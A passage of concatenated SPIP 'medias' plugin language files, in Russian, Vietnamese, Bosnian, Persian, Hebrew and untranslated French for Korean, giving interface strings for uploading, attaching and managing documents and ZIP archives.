'texte_documents_joints' => 'Puedes autorizar amestar documentos (archivos d’oficina, imaxes,
multimedia, etc.) a los artículos y/o a les estayes. Estos ficheros
pueden referenciase llueu nel
artículu, o presentase aparte.</p>', # MODIF
'texte_documents_joints_2' => 'Esti axuste nun torga l’inxertu d’imaxes direutamente nos artículos.', # MODIF
'titre_documents_joints' => 'Documentos axuntos',
'tout_dossier_upload' => 'Tou el direutoriu @upload@',
// U
'upload_fichier_zip' => 'Archivu ZIP',
'upload_fichier_zip_texte' => 'L’archivu que quies instalar ye un archivu Zip.',
'upload_fichier_zip_texte2' => 'Esti archivu puede ser:',
'upload_limit' => 'Esti archivu ye demasiao grande pal sirvidor; el mayor tamañu de <i>subida</i> autorizao ye de @max@.',
'upload_zip_conserver' => 'Conservar l’archivu tres de la estraición', # MODIF
'upload_zip_decompacter' => 'descomprimíu y caún de los elementos que contien instalarase nel sitiu. Los archivos que van instalase nel sitiu son:',
'upload_zip_telquel' => 'instaláu tal cual, como archivu Zip comprimíu;',
'upload_zip_titrer' => 'Titular según el nome de los archivos'
);
?>
medias_ru.php 0000666 00000026225 15252255273 0007250 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'Аудио файлов нет',
'aucun_document' => 'Нет документов (файлов)',
'aucun_file' => 'Нет документов (файлов)',
'aucun_image' => 'Нет файлов изображений',
'aucun_video' => 'Видео файлов нет',
'aucune_utilisation' => 'Документ не используется.',
'aucune_vignette' => 'Нет миниатюры',
// B
'bouton_ajouter_document' => 'Добавить документ',
'bouton_ajouter_image' => 'Добавить изображение',
'bouton_ajouter_image_document' => 'Добавить изображение или документ',
'bouton_attacher_document' => 'Добавить',
'bouton_copier_local' => 'Добавить на сайт',
'bouton_download_depuis' => 'добавить файлы с:',
'bouton_download_local' => 'моего компьютера',
'bouton_download_par_ftp' => 'сервера',
'bouton_download_par_mediatheque' => 'из добавленных',
'bouton_download_sur_le_web' => 'интернета',
'bouton_enlever_document' => 'Убрать',
'bouton_enlever_supprimer_document' => 'Удалить',
'bouton_enlever_supprimer_document_confirmation' => 'Вы уверенны, что хотите удалить документ (файл)?',
'bouton_modifier_document' => 'Изменить',
'bouton_parcourir' => 'Обзор...',
'bouton_refresh_document' => 'Обновить документ',
'bouton_remplacer_document' => 'Заменить документ',
'bouton_remplacer_image' => 'Заменить изображение',
'bouton_remplacer_image_document' => 'Заменить изображением или файлом',
'bouton_supprimer' => 'Удалить',
'bouton_supprimer_tous_orphelins' => 'Удалить неиспользуемые',
'bouton_supprimer_tous_orphelins_confirmation' => 'Вы действительно хотите удалить @nb@ документов (файлов) ?',
'bouton_upload' => 'Добавить',
// D
'des_audios' => '@nb@ аудио файлов',
'des_documents' => '@nb@ документов (файлов)',
'des_files' => '@nb@ документов (файлов)',
'des_images' => '@nb@ файлов изображений',
'des_utilisations' => 'Используется @nb@ раз(а)',
'des_videos' => '@nb@ видео файлов',
'descriptif' => 'Описание',
'document_attache_succes' => 'Документ (файл) добавлен успешно',
'document_copie_locale_succes' => 'Файл успешно скопирован на сайт',
'document_installe_succes' => 'Файл добавлен успешно',
'document_vu' => 'В тексте',
'documents' => 'Управление файлами',
'documents_brises' => 'Поврежденные',
'documents_distants' => 'На других сайтах',
'documents_locaux' => 'На нашем сайте',
'documents_non_publies' => 'Не опубликованные',
'documents_orphelins' => 'Не используемые',
'documents_publies' => 'На сайте',
'documents_tous' => 'Все',
'double_clic_inserer_doc' => 'Дважды щелкните, чтобы вставить этот ярлык в текст',
// E
'entree_dimensions' => 'Размер:',
'entree_titre_document' => 'Название документа:',
'entree_titre_image' => 'Название изображения:',
'erreur_aucun_document' => 'Этого документа нет в модуле управления файлами',
'erreur_aucun_fichier' => 'Файл не найден',
'erreur_chemin_distant' => 'Файл @nom@ с другого сайт не найден',
'erreur_chemin_ftp' => 'Не удалось найти указанный файл на сервере',
'erreur_copie_fichier' => 'Не возможно скопировать файл @nom@ в указанную папку',
'erreur_dossier_tmp_manquant' => 'Не удается создать временную папку для загрузки файлов',
'erreur_ecriture_fichier' => 'Ошибка при попытка записать на диск',
'erreur_format_fichier_image' => 'Формат файла @nom@ не похож на формат изображения',
'erreur_indiquez_un_fichier' => 'Укажите файл!',
'erreur_insertion_document_base' => 'Не получается добавить документ @fichier@ в базу данных',
'erreur_suppression_vignette' => 'При удалении миниатюры произошла ошибка',
'erreur_upload_type_interdit' => 'Запрещена загрузка этого типа файла - @nom@',
'erreur_upload_vignette' => 'При загрузке миниатюры возникла ошибка @nom@',
'erreurs' => '@nb@ ошибок',
'erreurs_voir' => 'Посмотреть ошибки (@nb@) ',
// F
'fichier_distant' => 'Файл на другом сайте',
'fichier_manquant' => 'Файл не найден',
'fichier_modifie' => 'Файл был изменен. Нажмите кнопку Сохранить.',
'format_date_incorrect' => 'Не правильная дата или время',
// I
'icone_creer_document' => 'Добавить документ (файл)',
'id' => 'ID',
'image_tourner_180' => 'Повернуть на 180°',
'image_tourner_droite' => 'Повернуть на 90° вправо',
'image_tourner_gauche' => 'Поворот на 90° влево',
'info_doc_max_poids' => 'Размер файла должен быль не больше @maxi@ (текущий размер @actuel@).',
'info_document' => 'Документ',
'info_document_indisponible' => 'Этот документ недоступен',
'info_documents' => 'Файлы',
'info_gauche_numero_document' => 'НОМЕР ДОКУМЕНТА',
'info_hauteur' => 'Высота',
'info_heure' => 'Время',
'info_illustrations' => 'Фотографии в материале',
'info_image_max_poids' => 'Размер файла изображения должен быть меньше @maxi@ (сейчас @actuel@).',
'info_inclusion_directe' => 'Прямое включение:',
'info_inclusion_vignette' => 'Добавить миниатюру:',
'info_installer_tous_documents' => 'Добавить все файлы (документы)',
'info_largeur' => 'Ширина',
'info_logo_max_taille' => 'Логотипы должны быть меньше чем @maxi@ (размер этого файла @actuel@).',
'info_modifier_document' => 'Изменить файл',
'info_portfolio' => 'Галерея фотографий и документов',
'info_referencer_doc_distant' => 'Ссылка на файл (URL):',
'info_sans_vignette' => 'Нет миниатюры',
'info_statut_document' => 'Статус документа:',
'info_telecharger' => 'Загрузить с вашего компьютера:',
'infos' => 'Техническая информация',
'item_autoriser_selectionner_date_en_ligne' => 'Разрешить изменять дату добавления документа',
'item_non_autoriser_selectionner_date_en_ligne' => 'Запретить изменять дату добавления документа',
// L
'label_activer_document_objets' => 'Включить галерею:',
'label_apercu' => 'Пред. просмотр',
'label_caracteristiques' => 'Характеристики',
'label_credits' => 'Информация о авторе',
'label_fichier' => 'Файл',
'label_fichier_vignette' => 'Миниатюра',
'label_paginer_par' => 'Постранично по:',
'label_parents' => 'Документ используется в:',
'label_refdoc_joindre' => 'Номер документа',
'lien_tout_enlever' => 'Удалить все',
'logo' => 'Лого',
// M
'media_audio' => 'Аудио',
'media_file' => 'Прочее',
'media_image' => 'Изображения',
'media_video' => 'Видео',
'miniature_automatique_active' => 'SPIP создаст миниатюру автоматически',
// N
'nb_documents_attache_succes' => 'Добавлено @nb@ документов (файлов)',
'nb_documents_installe_succes' => 'Успешно добавлено @nb@ файлов',
// O
'objet_document' => 'Документ',
'objet_documents' => 'Документы',
// P
'par_date' => 'Дата',
'par_hauteur' => 'Высота',
'par_id' => 'ID',
'par_largeur' => 'Ширина',
'par_taille' => 'Размер',
'par_titre' => 'Название',
// T
'texte_documents_joints' => 'Вы можете включить возможность добавлять файлы и документы (аудио, видео, офисные файлы) к ко всем материалам сайта.',
'texte_documents_joints_2' => 'Укажите, к каким материалам можно добавлять документы.',
'titre_documents_joints' => 'Добавление документов (файлов) к материалам',
'titre_page_documents_edit' => 'Изменить документ: @titre@',
'tous_les_medias' => 'Все медиа файлы',
'tout_dossier_upload' => 'Весь @upload@ каталог',
'tout_voir' => 'Показать все',
// U
'un_audio' => '1 аудио файл',
'un_document' => '1 документ (файл)',
'un_file' => '1 документ (файл)',
'un_image' => '1 изображение',
'un_video' => '1 видео',
'une_utilisation' => 'Используется 1 раз',
'upload_fichier_zip' => 'ZIP файл',
'upload_fichier_zip_texte' => 'Вы ходите добавить файл с архивом (zip).',
'upload_fichier_zip_texte2' => 'Этот файл может быть:',
'upload_info_mode_document' => 'Добавить в галерею',
'upload_info_mode_image' => 'Убрать из галереи',
'upload_limit' => 'Этот файл является слишком большим для сервера; максимально допустимый размер @max@.',
'upload_zip_conserver' => 'Не удалять архив после извлечения файлов',
'upload_zip_decompacter' => 'разархивировать и установить содержание каждого файла на сайт. Будут установлены файлы:',
'upload_zip_mode_document' => 'Добавить все изображения в галерею',
'upload_zip_telquel' => 'не разархивировать, добавить как ZIP файл;',
'upload_zip_titrer' => 'Создать названия в соответствии с именами файлов',
// V
'verifier_documents_brises' => 'Проверить недостающие файлы',
'verifier_documents_inutilises' => 'Проверить использование документа',
'vignette_supprimee' => 'Миниатюра удалена'
);
?>
medias_vi.php 0000666 00000004677 15252255273 0007247 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=vi
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'THÊM TÀI LIỆU', # MODIF
'bouton_ajouter_image' => 'THÊM HÌNH', # MODIF
// D
'double_clic_inserer_doc' => 'Nhấp chuột hai lần để thêm lối tắt này vào khung chữ',
// E
'entree_dimensions' => 'Khổ:',
'entree_titre_document' => 'Tựa bài hồ sơ:',
'entree_titre_image' => 'Tựa đề hình:',
// I
'image_tourner_180' => 'Xoay 180°',
'image_tourner_droite' => 'Xoay qua phải 90°',
'image_tourner_gauche' => 'Xoay qua trái 90°',
'info_document' => 'Tài liệu ',
'info_document_indisponible' => 'Tài liệu này không có',
'info_documents' => 'Tài liệu',
'info_inclusion_directe' => 'Gộp vào trực tiếp:',
'info_inclusion_vignette' => 'Gộp các hình nhỏ xem trước:',
'info_installer_tous_documents' => 'Cài đặt tất cả tài liệu',
'info_logo_max_taille' => 'Hồ sơ này phải nhỏ hơn @maxi@ (hồ sơ này là @actuel@).',
'info_portfolio' => 'Tập hồ sơ',
'info_referencer_doc_distant' => 'Nối kết với một tài liệu trên internet:',
'info_telecharger' => 'Đem/tải lên từ máy bạn:',
// T
'texte_documents_joints' => 'Bạn có thể cho phép đính kèm thêm các tài liệu (hồ sơ, hình ảnh, v.v...) vào các bài vở và/hoặc đề mục. Những hồ sơ này có thể được nối kết trong bài hoặc hiện riêng ra.', # MODIF
'texte_documents_joints_2' => 'LƯU Ý: Bố trí hiện nay không ngăn ngừa việc nhét hình trực tiếp vào bài vở.', # MODIF
'titre_documents_joints' => 'Tài liệu đính kèm',
'tout_dossier_upload' => 'Tất cả hồ sơ @upload@',
// U
'upload_fichier_zip' => 'Hồ sơ ZIP',
'upload_fichier_zip_texte' => 'Hồ sơ bạn tính thiết trí là hồ sơ ZIP.',
'upload_fichier_zip_texte2' => 'Hồ sơ này có thể:',
'upload_limit' => 'Hồ sơ này quá to cho server; khổ lớn nhất cho phép <i>đem lên</i> là @max@.',
'upload_zip_decompacter' => 'được mở ra và hồ sơ trong đó sẽ được thiết trí vào trang web. Các hồ sơ sẽ được thiết trí là:',
'upload_zip_telquel' => 'thiết trí y nguyên, hồ sơ ZIP;'
);
?>
medias_bs.php 0000666 00000004344 15252255273 0007224 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=bs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'DODAJ DOKUMENT', # MODIF
'bouton_ajouter_image' => 'DODAJ FOTOGRAFIJU', # MODIF
// D
'double_clic_inserer_doc' => 'Kliknite dva puta ako ovu precicu zelite dodati tekstu',
// E
'entree_dimensions' => 'Dimenzije:',
'entree_titre_document' => 'Naziv dokumenta:',
'entree_titre_image' => 'Naziv fotografije:',
// I
'image_tourner_180' => 'Okreni za 180°',
'image_tourner_droite' => 'Okreni 90° na desnu stranu',
'image_tourner_gauche' => 'Okreni 90° na lijevu stranu',
'info_document' => 'Dokument',
'info_documents' => 'Dokumenti',
'info_inclusion_directe' => 'Direktno ukljucivanje:',
'info_inclusion_vignette' => 'Ukljuci vinjetu:',
'info_installer_tous_documents' => 'Instaliraj sve dokumente',
'info_logo_max_taille' => 'Logotip mora biti manji od @maxi@ (ovaj dokument je @actuel@).',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Preporuciti dokument na internetu:',
'info_telecharger' => 'Upload sa vaseg kompjutera:',
// T
'texte_documents_joints' => 'Mozete odobriti dodavanje dokumenata (birokratskih dokumenata, slika, multimedija, itd.) clancima i/ili rubrikama. Ti dokumenti mogu zatim biti preporuceni u clanku ili postavljeni odvojeno.', # MODIF
'texte_documents_joints_2' => 'Ova postavka ne sprijecava direktno unosenje slika u clanke.', # MODIF
'titre_documents_joints' => 'Pridruzeni dokumenti',
'tout_dossier_upload' => 'Cjelokupan dosije @upload@',
// U
'upload_fichier_zip' => 'ZIP dokument',
'upload_fichier_zip_texte' => 'Dokument koji predlazete za upload, je ZIP dokument.',
'upload_fichier_zip_texte2' => 'Ovaj dokument moze biti:',
'upload_limit' => 'Ovaj dokument je prevelik za server; dozvoljena maksimalna velicina za <i>upload</i> je @max@.',
'upload_zip_decompacter' => 'dekompresovan i svaki sadrzani dokument ce biti instaliran na stranicu. Dokumenti koji ce biti instalirani su:',
'upload_zip_telquel' => 'instaliran kakav jeste, u ZIP formatu;'
);
?>
medias_fa.php 0000666 00000024540 15252255273 0007206 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'بدون تراك صدا',
'aucun_document' => 'بدون سند',
'aucun_file' => 'بدون سند ',
'aucun_image' => 'بدون تصوير',
'aucun_video' => 'بدون سكانس',
'aucune_utilisation' => 'از اين سند استفاده نميشود',
'aucune_vignette' => 'بدون صورتك',
// B
'bouton_ajouter_document' => 'يك سند اضافه كنيد',
'bouton_ajouter_image' => 'يك تصوير اضافه كنيد',
'bouton_ajouter_image_document' => 'اضافه كردن يك تصوير يا يك سند',
'bouton_attacher_document' => 'پيوست',
'bouton_copier_local' => 'كپي در سايت',
'bouton_download_depuis' => 'از :',
'bouton_download_local' => 'كامپيوتر من',
'bouton_download_par_ftp' => 'سرور',
'bouton_download_par_mediatheque' => 'آرشيورسانه',
'bouton_download_sur_le_web' => 'اينترنت',
'bouton_enlever_document' => 'تفكيك',
'bouton_enlever_supprimer_document' => 'حذف',
'bouton_enlever_supprimer_document_confirmation' => 'حتماً ميخواهيد اين سند را حذف كنيد؟',
'bouton_modifier_document' => 'اصلاح',
'bouton_parcourir' => 'طي كردن. . . ',
'bouton_refresh_document' => 'تازه سازي',
'bouton_remplacer_document' => 'جايگزين كردن اين سند',
'bouton_remplacer_image' => 'جايگزين كردن اين تصوير',
'bouton_remplacer_image_document' => 'جايگزين كردن با اين تصوير يا اين سند ',
'bouton_supprimer' => 'حذف',
'bouton_supprimer_tous_orphelins' => 'حذف تمام سطرهاي يتيم',
'bouton_supprimer_tous_orphelins_confirmation' => 'آيا حتماً ميخواهيد @nb@ سطر يتيم را حذف كنيد؟',
'bouton_upload' => 'بارگذاري',
// D
'des_audios' => '@nb@ تراك صدا',
'des_documents' => '@nb@ سند',
'des_files' => '@nb@ سند',
'des_images' => '@nb@ تصوير',
'des_utilisations' => '@nb@ استفاده',
'des_videos' => '@nb@ سكانس',
'descriptif' => 'توصيف ',
'document_attache_succes' => 'سند افزوده شده',
'document_copie_locale_succes' => 'اين پرونده داخل سايت كپي شده است',
'document_installe_succes' => 'اين پرونده بارگذاري شده است',
'document_vu' => 'گنجاندن در متن ',
'documents' => 'آرشيو رسانه',
'documents_brises' => 'شكستهها',
'documents_distants' => 'راه دور',
'documents_locaux' => 'مقدمات',
'documents_non_publies' => 'منتشر نشدهها',
'documents_orphelins' => 'اسفتاده نشده',
'documents_publies' => 'منشر شده',
'documents_tous' => 'همه',
'double_clic_inserer_doc' => 'براى گنجاندن اين راه كوتاه در متن, دوبار كليك كنيد.',
// E
'entree_dimensions' => ': ابعاد',
'entree_titre_document' => ': عنوان سند',
'entree_titre_image' => ': عنوان تصوير',
'erreur_aucun_document' => 'اين سند در آرشيو رسانه نيست',
'erreur_aucun_fichier' => 'هيچ پروندهاي يافت نشده ',
'erreur_chemin_distant' => 'پروندهي دور @nom@ يافت نشده ',
'erreur_chemin_ftp' => 'پروندهي مورد نظر روي سرور يافت نشده',
'erreur_copie_fichier' => 'كپي كردن پروندهي @nom@ روي جايگزين نهايي آن غيرممكن است',
'erreur_dossier_tmp_manquant' => 'يك پوشه موقت براي بارگذاري اين پروندهها نيست',
'erreur_ecriture_fichier' => 'خطا نوشتن پرونده روي ديسك',
'erreur_format_fichier_image' => 'فرمت @nom@ براي تصوير مناسب نيست',
'erreur_indiquez_un_fichier' => 'يك پرونده را مشخص كنيد!',
'erreur_insertion_document_base' => 'ثبت سند @fichier@در پايگاه دادههاي سرور ممكن نيست ',
'erreur_suppression_vignette' => 'خطاي حذف صورتكها',
'erreur_upload_type_interdit' => 'بارگذاري پروندههاي نوع @nom@ مجاز نيست ',
'erreur_upload_vignette' => 'خطاي بارگذاري صورتكهاي @nom@',
'erreurs' => '@nb@ خطا ',
'erreurs_voir' => 'ديدن @nb@ خطا',
// F
'fichier_distant' => 'پروندهي راه دور',
'fichier_manquant' => 'پروندهي ناقص',
'fichier_modifie' => 'پرونده اصلاح شده است. روي ثبت كليك كنيد.',
'format_date_incorrect' => 'تاريخ يا ساعت درست نيستند',
// I
'icone_creer_document' => 'افزودن يك سند',
'id' => 'آي.دي',
'image_tourner_180' => 'چرخش °١٨٠ ',
'image_tourner_droite' => 'چرخش ٩٠ درجه به راست',
'image_tourner_gauche' => 'چرخش ٩٠ درجه به چپ',
'info_doc_max_poids' => 'سندها الزاماً بايد كمتر از @maxi@ باشند. (اين پرونده @actuel@ است( ',
'info_document' => 'سند',
'info_document_indisponible' => 'این سند موجود نمیباشد',
'info_documents' => 'اسناد',
'info_gauche_numero_document' => 'شمارهي سند',
'info_hauteur' => 'بلندي',
'info_heure' => 'ساعت',
'info_illustrations' => 'ترسيمها',
'info_image_max_poids' => 'تصويرها بايد الزام كمتر از @maxi@ باشند(اين پرونده @actuel@ است).',
'info_inclusion_directe' => ': گنجاندن مستقيم',
'info_inclusion_vignette' => ': گنجاندن تصاوير كوچك شده',
'info_installer_tous_documents' => 'تمام اسناد را مستقر كنيد',
'info_largeur' => 'درازا',
'info_logo_max_taille' => 'لوگوها بايد كمتر از @maxi@ باشند(اين فايل است)',
'info_modifier_document' => 'اصلاح سند ',
'info_portfolio' => 'كارنامه',
'info_referencer_doc_distant' => 'يك پرونده را در اينترنت ضبط كنيد:',
'info_statut_document' => 'اين سند :',
'info_telecharger' => ':با رايانه خودتان بارگذارى كنيد',
'infos' => ' نمايش اطلاعات روي تمام بخشها (اگرميخواهيد استفادهي متفاوتي از آن بشود)',
'item_autoriser_selectionner_date_en_ligne' => 'دادن اجازهي اصلاح تاريخ هر سند',
'item_non_autoriser_selectionner_date_en_ligne' => 'تاريخ سندها تاريخ افزوده شدن آنها به سايت است',
// L
'label_activer_document_objets' => 'فعال سازي بارگذاري براي اين مطالب: ',
'label_apercu' => 'مرور',
'label_caracteristiques' => 'ويژگيها',
'label_credits' => 'اعتبارها',
'label_fichier' => 'پرونده',
'label_fichier_vignette' => 'ويگنت',
'label_parents' => 'اين سند پيوند خورده به ',
'label_refdoc_joindre' => 'شمارهي سند',
'lien_tout_enlever' => 'حذف همه',
'logo' => 'لوگو',
// M
'media_audio' => 'تراك صدا',
'media_file' => 'ديگران',
'media_image' => 'تصويرها',
'media_video' => 'سكانسها',
'miniature_automatique_active' => ' اسپيپ به طور خوكار يك مينياتور از تصوير درست ميكند',
// N
'nb_documents_attache_succes' => '@nb@ سند افزوده شه است',
'nb_documents_installe_succes' => '@nb@ پرونده با موفقيت بارگداري شده',
// O
'objet_document' => 'سند',
'objet_documents' => 'سندها',
// P
'par_date' => 'بر اساس تاريخ',
'par_hauteur' => 'بلندي',
'par_id' => 'آي.دي',
'par_largeur' => 'درازا',
'par_taille' => 'وزن',
'par_titre' => 'بر اساس تيتر',
// T
'texte_documents_joints' => 'ميتوانيد واسطهي افزودن سندها (فايلهاي اداري، تصويرها، و چندرسانهاي و غيره) را به مقالهها، بخشها و غيره فعال كنيد. به اين پروندهها بعداً ميتوان در متن، ارجاع كرد يا آنها را جداگانه به نمايش گذاشت.</p> ',
'texte_documents_joints_2' => 'اين تنظيم نه از بارگذاري تصاوير در مقالات و نه از گنجاندن مستقيم سند در متهاي مطالب جلوگيرى نميكند.',
'titre_documents_joints' => 'اسناد پيوسته',
'titre_page_documents_edit' => 'اصلاح سند : @titre@',
'tous_les_medias' => 'تمام رسانهها',
'tout_dossier_upload' => 'تمام پرونده @upload@',
'tout_voir' => 'ديدن همه',
// U
'un_audio' => '1 تراك صدا',
'un_document' => '1 سند',
'un_file' => '1 سند',
'un_image' => '1 تصوير',
'un_video' => '1 سكانس',
'une_utilisation' => '1اسفتاده',
'upload_fichier_zip' => 'فايل فشرده ZIP',
'upload_fichier_zip_texte' => 'فايلى كه شما پيشنهاد نصب آنرا ميكنيد يك فايل ZIP ميباشد.',
'upload_fichier_zip_texte2' => 'اين فايل ميتواند',
'upload_info_mode_document' => 'گذاشتن اين تصويرها در شرح حال',
'upload_info_mode_image' => 'برداشتن اين تصوير از شرح حال',
'upload_limit' => 'اين فايل براى سرور بسيار بزرگ است حداكثر اندازه ى مجاز <i>upload</i> @max@ ميباشد',
'upload_zip_conserver' => 'حفظ كردن فايل آرشيوي پس از استخراج محتواي آن',
'upload_zip_decompacter' => 'باز شود و هر عنصر محتوى آن ميتواند بروى سايت نصب شود. فايلهايى كه بدين صورت نصب ميشوند',
'upload_zip_mode_document' => 'گذاشتن تمام اين تصويرها در شرح حال',
'upload_zip_telquel' => 'بهمان صورت نصب شده اند بصورت بايگانى ZIP',
'upload_zip_titrer' => 'مطابق با نام پرونده تيترگذاري كن',
// V
'verifier_documents_brises' => 'اصلاح پروندههاي ناقص',
'verifier_documents_inutilises' => 'تأييد پيوندها به سندها',
'vignette_supprimee' => 'ويگنتها حذف شدهاند'
);
?>
medias_he.php 0000666 00000004470 15252255273 0007214 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=he
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'הוספת מסמך',
'bouton_ajouter_image' => 'הוספת תמונה',
'bouton_ajouter_image_document' => 'הוסף תמונה או מסמך ',
// D
'double_clic_inserer_doc' => 'הקלק פעמיים על מנת להוסיף קיצור דרך זה לטקסט',
// E
'entree_dimensions' => 'גודל :',
'entree_titre_document' => 'כתורת של המסמך :',
'entree_titre_image' => 'כתורת של התמונה :',
// I
'image_tourner_180' => 'רוטציה 180°',
'image_tourner_droite' => 'רוטציה 90° ימינה',
'image_tourner_gauche' => 'רוטציה 90° שמאלה',
'info_document' => 'מסמך',
'info_document_indisponible' => 'המסמך אינו נגיש',
'info_documents' => 'מסמכים',
'info_inclusion_directe' => ':הכללה ישירה',
'info_inclusion_vignette' => ':לכלול גפנית',
'info_installer_tous_documents' => 'התקן את כל המסמכים',
'info_logo_max_taille' => 'גודל הלוגואים צריך להיות פחות מ@maxi@ (גודל הקובץ הנוכחי @actuel@).',
'info_portfolio' => 'תיק',
'info_telecharger' => 'העלה מהמחשב שלך:',
// T
'texte_documents_joints' => 'Vous pouvez autoriser l’ajout de documents (fichiers bureautiques, images,
multimédia, etc.) aux articles et/ou aux rubriques. Ces fichiers
peuvent ensuite être référencés dans
l’article, ou affichés séparément.', # MODIF
// U
'upload_fichier_zip' => 'קובץ ZIP',
'upload_fichier_zip_texte' => 'הקובץ שאתה מציע להתקין הנו קובץ ZIP.',
'upload_fichier_zip_texte2' => 'קובץ זה יכול להיות :',
'upload_limit' => 'קובץ זה גדול מדי בשביל השרת ; הגודל המרבי <i>uלהעלה</i> הוא @max@.',
'upload_zip_decompacter' => 'מחולץ וכל אלמנט הנכלל בו הנו מותקן באתר. להלן הקבצים שיותקנו באתר :',
'upload_zip_telquel' => 'מותקן כפי שהוא, בשאר הוא ארכיון מחולץ ;'
);
?>
medias_kr.php 0000666 00000023437 15252255273 0007240 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'Aucune bande son', # NEW
'aucun_document' => 'Aucun document', # NEW
'aucun_file' => 'Aucun document', # NEW
'aucun_image' => 'Aucune image', # NEW
'aucun_video' => 'Aucune séquence', # NEW
'aucune_utilisation' => 'Ce document n\'est pas utilisé', # NEW
'aucune_vignette' => 'Aucune vignette', # NEW
// B
'bouton_ajouter_document' => 'Ajouter un document', # NEW
'bouton_ajouter_image' => 'Ajouter une image', # NEW
'bouton_ajouter_image_document' => 'Ajouter une image ou un document', # NEW
'bouton_attacher_document' => 'Attacher', # NEW
'bouton_copier_local' => 'Copier dans le site', # NEW
'bouton_download_depuis' => 'depuis :', # NEW
'bouton_download_local' => 'mon ordinateur', # NEW
'bouton_download_par_ftp' => 'le serveur', # NEW
'bouton_download_par_mediatheque' => 'la mediathèque', # NEW
'bouton_download_sur_le_web' => 'internet', # NEW
'bouton_enlever_document' => 'Detacher', # NEW
'bouton_enlever_supprimer_document' => 'Supprimer', # NEW
'bouton_enlever_supprimer_document_confirmation' => 'Etes-vous sûr de vouloir supprimer le document ?', # NEW
'bouton_modifier_document' => 'Modifier', # NEW
'bouton_parcourir' => 'Parcourir...', # NEW
'bouton_refresh_document' => 'Rafraichir le document', # NEW
'bouton_remplacer_document' => 'Remplacer ce document', # NEW
'bouton_remplacer_image' => 'Remplacer cette image', # NEW
'bouton_remplacer_image_document' => 'Remplacer par une image ou un document', # NEW
'bouton_supprimer' => 'Supprimer', # NEW
'bouton_supprimer_tous_orphelins' => 'Supprimer tous les orphelins', # NEW
'bouton_supprimer_tous_orphelins_confirmation' => 'Etes-vous sûr de vouloir supprimer @nb@ orphelins ?', # NEW
'bouton_upload' => 'Télécharger', # NEW
// D
'des_audios' => '@nb@ bandes sons', # NEW
'des_documents' => '@nb@ documents', # NEW
'des_files' => '@nb@ documents', # NEW
'des_images' => '@nb@ images', # NEW
'des_utilisations' => '@nb@ utilisations', # NEW
'des_videos' => '@nb@ séquences', # NEW
'descriptif' => 'Description', # NEW
'document_attache_succes' => 'Le document a bien été ajouté', # NEW
'document_copie_locale_succes' => 'Le fichier a bien été copié dans le site', # NEW
'document_installe_succes' => 'Le fichier a bien été chargé', # NEW
'document_vu' => 'Inséré dans le texte', # NEW
'documents' => 'Mediathèque', # NEW
'documents_brises' => 'Brisés', # NEW
'documents_distants' => 'Distants', # NEW
'documents_locaux' => 'Locaux', # NEW
'documents_non_publies' => 'Non publiés', # NEW
'documents_orphelins' => 'Inutilisés', # NEW
'documents_publies' => 'Publiés', # NEW
'documents_tous' => 'Tous', # NEW
'double_clic_inserer_doc' => 'Double-cliquez pour insérer ce raccourci dans le texte', # NEW
// E
'entree_dimensions' => 'Dimensions :', # NEW
'entree_titre_document' => 'Titre du document :', # NEW
'entree_titre_image' => 'Titre de l\'image :', # NEW
'erreur_aucun_document' => 'Ce document n\'existe pas dans la mediathèque', # NEW
'erreur_aucun_fichier' => 'Aucun fichier n\'a été trouvé', # NEW
'erreur_chemin_distant' => 'Le fichier distant @nom@ n\'a pas pu être trouvé', # NEW
'erreur_chemin_ftp' => 'Le fichier indiqué n\'a pas été trouvé sur le serveur', # NEW
'erreur_copie_fichier' => 'Impossible de copier le fichier @nom@', # NEW
'erreur_dossier_tmp_manquant' => 'Un dossier temporaire est manquant pour télécharger les fichiers', # NEW
'erreur_ecriture_fichier' => 'Erreur lors de l\'écriture du fichier sur le disque', # NEW
'erreur_format_fichier_image' => 'Le format de @nom@ ne convient pas pour une image', # NEW
'erreur_indiquez_un_fichier' => 'Indiquez un fichier !', # NEW
'erreur_insertion_document_base' => 'Impossible d\'enregistrer le document @fichier@ en base de données', # NEW
'erreur_suppression_vignette' => 'Erreur lors de la suppression de la vignette', # NEW
'erreur_upload_type_interdit' => 'Le telechargement des fichiers du type de @nom@ n\'est pas autorisé', # NEW
'erreur_upload_vignette' => 'Erreur lors du chargement de la vignette @nom@', # NEW
'erreurs' => '@nb@ erreurs', # NEW
'erreurs_voir' => 'Voir les @nb@ erreurs', # NEW
// F
'fichier_distant' => 'Fichier distant', # NEW
'fichier_manquant' => 'Fichier manquant', # NEW
'fichier_modifie' => 'Le fichier a été modifié. Cliquez sur enregistrer.', # NEW
'format_date_incorrect' => 'La date ou l\'heure sont incorrectes', # NEW
// I
'icone_creer_document' => 'Ajouter un document', # NEW
